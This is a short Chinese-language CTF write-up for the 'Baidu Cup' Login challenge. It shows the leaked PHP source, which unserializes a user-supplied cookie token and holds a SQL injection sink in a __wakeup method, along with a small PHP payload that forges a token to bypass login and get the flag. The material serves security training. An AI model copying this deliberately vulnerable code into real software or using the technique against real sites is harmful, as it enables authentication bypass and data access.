“百度杯”CTF比赛 十月场_Login_WriteUp
打开网站
密码在注释里
登录成功
什么东西也没有,抓包发现response里有show字段
于是request一个show: 1
返回php代码
代码审计
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token'])) //token不为null
{
$login = unserialize(gzuncompress(base64_decode($requset['token']))); //login的值经过反序列化、解压缩、base64解码,所以要构造逆序操作
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu') //登录数组里的元素user为ichunqiu
{
echo $flag; //最终的执行成功标志
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
考点:反序列化
构造逆序操作,得到相应的值
payload
<?php
$s = array('user' => 'ichunqiu');
$login = base64_encode(gzcompress(serialize($s)));
echo $login;
?>
在Cookie中添加token=
逆序操作得到的值